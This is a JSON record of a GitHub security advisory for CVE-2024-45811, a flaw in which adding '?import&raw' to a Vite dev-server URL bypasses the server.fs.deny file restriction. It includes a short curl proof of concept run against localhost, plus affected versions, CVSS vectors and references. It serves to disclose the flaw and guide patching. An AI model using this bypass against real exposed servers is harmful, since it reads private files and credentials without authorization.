{"id":"GHSA-9cwx-2883-4wfx","revision":"4b33109769814ec28e39c8474d5ea60a","records":[{"revision":"4b33109769814ec28e39c8474d5ea60a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9cwx-2883-4wfx","aliases":["CVE-2024-45811"],"title":"Vite's `server.fs.deny` is bypassed when using `?import&raw`","description":"### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    <body>\n      <h1>403 Restricted</h1>\n      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n","state":0,"publishedAt":"2024-09-17T18:44:12+00:00","modifiedAt":"2026-09-10T03:50:18.0954471+00:00","affected":[{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.4.0"},{"kind":"fixed","version":"5.4.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.3.0"},{"kind":"fixed","version":"5.3.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.2.0"},{"kind":"fixed","version":"5.2.14"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.5.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.2.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.1.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx","https://nvd.nist.gov/vuln/detail/CVE-2024-45811","https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249","https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34","https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd","https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6","https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7","https://github.com/vitejs/vite"],"sourceUrl":"https://github.com/advisories/GHSA-9cwx-2883-4wfx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9cwx-2883-4wfx","identifiers":["GHSA-9cwx-2883-4wfx","CVE-2024-45811"]},"retained":false,"historicalAffected":[]}],"coverage":[]}